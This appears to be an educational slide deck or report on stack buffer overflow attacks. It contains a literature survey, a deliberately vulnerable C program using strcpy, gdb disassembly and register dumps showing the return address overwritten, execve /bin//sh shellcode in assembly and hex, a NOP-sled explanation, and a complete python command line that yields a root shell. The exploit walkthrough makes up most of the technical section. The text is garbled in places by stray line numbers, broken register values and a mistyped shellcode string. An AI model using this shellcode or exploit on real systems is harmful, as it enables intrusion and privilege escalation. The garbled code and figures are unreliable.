# **Buffer Overflow Attacks**

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#### Introduction:

- Attackers exploit buffer overflow issues by overwriting the memory of an application. This
  changes the execution path of the program, triggering a response that damages files or
  exposes private information. For example, an attacker may introduce extra code, sending
  new instructions to the application to gain access to IT systems.
- If attackers know the memory layout of a program, they can intentionally feed input that the
  buffer cannot store, and overwrite areas that hold executable code, replacing it with their
  own code. For example, an attacker can overwrite a pointer (an object that points to
  another area in memory) and point it to an exploit payload, to gain control over the
  program.

#### Introduction:

- This error occurs when there is more data in a buffer than it can handle, causing data to overflow into adjacent storage.
- This vulnerability can cause a system crash or, worse, create an entry point for a cyberattack.
- C and C++ are more susceptible to buffer overflow.
- Secure development practices should include regular testing to detect and fix buffer overflows. These practices include automatic protection at the language level and bounds-checking at run-time.

#### Motivation

- Buffer Overflow is one of the most dangerous bugs.
- According to CWE by MITRE: "These weaknesses are often easy to find and exploit.
  They are dangerous because they will frequently allow adversaries to completely
  take over execution of software, steal data, or prevent the software from working."
  That means buffer overflow is one of the common and dangerous bugs.
- Currently due to explosive growth in software industry this type of attacks causes huge loss to companies.
- Most of the Operating Systems such as Linux, Windows, MAC OS, etc uses C/C++ as their base language for libraries.
- Many Web Servers are developed in such languages and are vulnerable to Buffer Overflow Attacks.

#### Literature Survey

- Khurana M., Yadav R., Kumari M. (2018) Buffer Overflow and SQL Injection: To Remotely Attack and Access Information. In: Bokhari M., Agrawal N., Saini D. (eds) Cyber Security. Advances in Intelligent Systems and Computing, vol 729. Springer, Singapore
- -> This paper speaks about various attacks used to exploit buffer overflows vulnerability, and their behaviour in different mechanisms such as Denial of Service Attacks and Inject attack code. It also speaks about goals of buffer overflow attack to exploit vulnerability. It also speaks about challenges in buffer overflow attack.
  - M. Ma, L. Chen and G. Shi, "Dam: A Practical Scheme to Mitigate Data-Oriented Attacks with Tagged Memory Based on Hardware," 2019 26th Asia-Pacific Software Engineering Conference (APSEC), Putrajaya, Malaysia, 2019, pp. 204-211, doi: 10.1109/APSEC48747.2019.00036.
- -> This paper teaches different types of mitigation techniques such as data oriented attacks and defences, and requirements in generating data-oriented attacks.


- Zhiyong Jin, Yongfu Chen, Tian Liu, Kai Li, Zhenting Wang, and Jiongzhi Zheng. 2019. A
  Novel and Fine-grained Heap Randomization Allocation Strategy for Effectively Alleviating
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  DOI:https://doi.org/10.1145/3325730.3325738
- Ning Huang et al 2019 IOP Conf. Ser.: Earth Environ. Sci.252 042100
- -> These papers explains about heap buffer overflows and implementation exploit canstraint constructor. It also speaks about different algorithms such as Ptmalloc Algorithm and memory randamization strategies.
  - Rogers, Alexis, L. and Sowers, Ryan, 2019 Calhoun, DEFENSIVE BINARY CODE INSTRUMENTATION TO PROTECT AGAINST BUFFER OVERFLOW ATTACKS, In Monterey, CA; Naval Postgraduate School.
- -> This paper speaks about What is Buffer Overflow and it's working. It dives deep into various Research Methodologies such as tools used, execution structure, instruction modification, etc.

- T. Ye, L. Zhang, L. Wang and X. Li, "An Empirical Study on Detecting and Fixing Buffer Overflow Bugs," 2016 IEEE International Conference on Software Testing, Verification and Validation (ICST), Chicago, IL, 2016, pp. 91-101, doi: 10.1109/ICST.2016.21.
- L. Xu, W. Jia, W. Dong and Y. Li, "Automatic Exploit Generation for Buffer Overflow Vulnerabilities," 2018 IEEE International Conference on Software Quality, Reliability and Security Companion (QRS-C), Lisbon, 2018, pp. 463-468, doi: 10.1109/QRS-C.2018.00085.
- -> These papers show cases the the detection mechanism of buffer overflow attacks and how the bugs are fixed for vulnerable programs. It also teaches how explits are created and how bypass system works.
  - Yang Zhao, Xingzhong Du, Paddy Krishnan, and Cristina Cifuentes. 2018. Buffer overflow detection for C programs is hard to learn. In Companion Proceedings for the ISSTA/ECOOP 2018 Workshops (ISSTA '18). Association for Computing Machinery, New York, NY, USA, 8-9. DOI:https://doi.org/10.1145/3236454.3236455
- -> This paper speaks about feature extraction buffer overflow attacks using supervised learning, and calssification and validation of injection codes through support vector machines (svm) and gradient boost tree (XGBoost). It tells about general usability through learning based methods. Its aim is to identify machine learning techniques that can be used to replace hand-crafted static analysis tools.

#### **Technical Details:**


#### Inside the memory:

- The top of the memory is the kernel area, which contains the command-line parameters that are passed to the program and the environment variables.
- The bottom area of the memory is called text and contains the actual code, the compiled machine instructions, of the program. It is a read-only area, because these should not be allowed to be changed.
- Above the text is the data, where uninitialized and initialized variables are stored.
- On top of the data area, is the heap. This is a big area of memory where large objects are allocated (like images, files, etc.)
- Below the kernel is the stack. This holds the local variables for each
  of the functions. When a new function is called, these are pushed on
  the end of the stack (see the stack abstract data type for more
  information on that).



## The Program

```
#include <stdio.h>
    #include <string.h>
    void func(char *name)
    {
        char buf[100];
        strcpy(buf, name);
        printf("Welcome %s\n", buf);
10
    int main(int argc, char *argv[])
11
    {
12
       func(argv[1]);
13
        return 0;
14
15
```




## Breaking the Code

```
(qdb) disas func
Dump of assembler code for function func:
   0x0804841b <+0>:
                        push
                               %ebp
   0x0804841c <+1>:
                               %esp,%ebp
                        mov
   0x0804841e <+3>:
                               $0x64,%esp
                        sub
   0x08048421 <+6>:
                               0x8(%ebp)
                        pushl
  0x08048424 <+9>:
                                -0x64(%ebp),%eax
                        lea
  0x08048427 <+12>:
                        push
                               %eax
  0x08048428 <+13>:
                        call
                                0x80482f0 <strcpy@plt>
  0 \times 0804842d < +18 > :
                        add
                               $0x8,%esp
  0x08048430 <+21>:
                        lea
                                -0x64(%ebp),%eax
  0x08048433 <+24>:
                        push
                               %eax
  0x08048434 <+25>:
                        push
                               $0x80484e0
  0x08048439 <+30>:
                        call
                                0x80482e0 <printf@plt>
  0x0804843e <+35>:
                        add
                               $0x8,%esp
  0x08048441 <+38>:
                        nop
  0x08048442 <+39>:
                        leave
  0x08048443 <+40>:
                        ret
End of assembler dump.
```

Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? ()

#### Overflowing Buffer



(gdb) info reg	isters		
eax	0x75	117	
ecx	0x75	117	
edx	0xb7fb38	70	-1208272784
ebx	0×0	0	
esp	0xbffffd	c4	0xbffffdc4
ebp	0x424242	42	0x42424242
esi	0x2	2	
edi	0xb7fb20	90	-1208279040
eip	0x434343	43	0x43434343
eflags	0x10282	[ SF IF	RF ]
CS	0x73	115	
SS	0x7b	123	
ds	0x7b	123	
es	0x7b	123	
fs	0×0	Θ	
gs	0x33	51	

## **Exploiting the Code**


```
; Clearing eax register
    xor
            eax, eax
                         ; Pushing NULL bytes
    push
            eax
                        ; Pushing //sh
    push
            0x68732f2f
                        ; Pushing /bin
    push
            0x6e69622f
            ebx, esp
                         ; ebx now has address of /bin//sh
    mov
                        ; Pushing NULL byte
    push
            eax
                        ; edx now has address of NULL byte
            edx, esp
    mov
            ebx
                         ; Pushing address of /bin//sh
    push
                         ; ecx now has address of address
            ecx, esp
    mov
                         ; of /bin//sh byte
            al, 11
                         ; syscall number of execve is 11
11
    mov
    int
                         ; Make the system call
            0x80
```

Now extract the 25 bytes of shellcode:

 $\x0\x50\x68\x2f\x2f\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80$ 

## Placing the ShellCode

NOP-sled A NOP-sled is a sequence of NOP (no-operation) instructions meant to "slide" the CPU's instruction execution flow to the next memory address. Anywhere the return address lands in the NOP-sled, it's going to slide along the buffer until it hits the start of the shellcode. NOP-values may differ per CPU, but for the OS and CPU we're aiming at, the NOP-value is x90.



## Payload Execution

```
(gdb) x/100x $sp-200
Oxbffffcfc:
                0xbffffd78
                                 0xb7fff000
                                                  0x0804820c
                                                                   0x080481ec
0xbffffd0c:
                0x27409b00
                                 0xb7fffa74
                                                  0xb7dfe804
                                                                   0xb7e3b98b
0xbffffd1c:
                0x00000000
                                 0x00000002
                                                  0xb7fb2000
                                                                   0xbffffdbc
0xbffffd2c:
                0xb7e43266
                                 0xb7fb2d60
                                                  0x080484e0
                                                                   0xbffffd54
0xbffffd3c:
                                                                   0xb7e43245
                0xb7e43240
                                 0xbffffd58
                                                  0xb7fff918
0xbffffd4c:
                0x0804843e
                                 0x080484e0
                                                  0xbffffd58
                                                                   0x90909090
0xbffffd5c:
                 0x90909090
                                 0x90909090
                                                  0x90909090
                                                                   0x90909090
0xbffffd6c:
                0x90909090
                                 0x90909090
                                                  0x90909090
                                                                   0x90909090
0xbffffd7c:
                 0x90909090
                                 0x90909090
                                                  0x90909090
                                                                   0x90909090
0xbffffd8c:
                 0x90909090
                                 0x90909090
                                                  0x31909090
                                                                   0x2f6850c0
0xbffffd9c:
                 0x6868732f
                                 0x6e69622f
                                                  0x8950e389
                                                                   0xe18953e2
0xbffffdac:
                 0x80cd0bb0
                                 0x45454545
                                                  0x45454545
                                                                   0x45454545
0xbffffdbc:
                 0x45454545
                                 0x45454545
                                                  0xbfffff00
                                                                   0x00000000
Oxbffffdcc:
                 0xb7e10456
                                 0x00000002
                                                  0xbffffe64
                                                                   0xbffffe70
0xbffffddc:
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                   0xb7fb2000
0xbffffdec:
                0xb7fffc04
                                 0xb7fff000
                                                  0x00000000
                                                                   0x00000002
0xbffffdfc:
                0xb7fb2000
                                 0x00000000
                                                  0xfda9b8fe
                                                                   0xc05a34ee
0xbffffe0c:
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                   0x00000002
0xbffffelc:
                0x08048320
                                 0x00000000
                                                  0xb7ff0340
                                                                   0xb7e10369
0xbffffe2c:
                0xb7fff000
                                 0x00000002
                                                  0x08048320
                                                                   0x00000000
0xbffffe3c:
                0x08048341
                                 0x08048444
                                                  0x00000002
                                                                   0xbffffe64
0xbffffe4c:
                0x08048460
                                 0x080484c0
                                                  0xb7feae20
                                                                   0xbffffe5c
0xbffffe5c:
                0xb7fff918
                                 0x00000002
                                                  0xbffffff44
                                                                   0xbfffff52
0xbffffe6c:
                0x00000000
                                 0xbfffffbf
                                                  0xbfffffcb
                                                                   0xbfffffd7
0xbffffe7c:
                 0xbfffffe5
                                 0x00000000
                                                  0x00000020
                                                                   0xb7fd9da4
```

```
kali:/tmp/coen$ ./envexec.sh buf $(python -c 'print "\x90" *
                                                                 63 +
                                                                       "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\
x89\xe1\xb0\x0b\xcd\x80" + "\x6c\xfd\xff\xbf" * 5')
```

10001000100010001000

whoami root

## Research Gaps

- Currently most of the Web Servers runs on libraries written in C/C++.
- Many python libraries are susceptible to this attack.
- Most IDS don't recognize such attacks.

## Future Scope

 We can create IDS based on predictions using Software Metrics and Machine Learning Models.

#### Conclusion

- Secure development practices should include regular testing to detect and fix buffer overflows.
- The most reliable way to avoid or prevent buffer overflows is to use automatic protection at the language level.
- The art of exploitation can be summarized in four major steps:
  - 1) Vulnerability Identification
  - 2) Offset Discovery and stabilization
  - 3) Payload construction
  - 4) Exploitation

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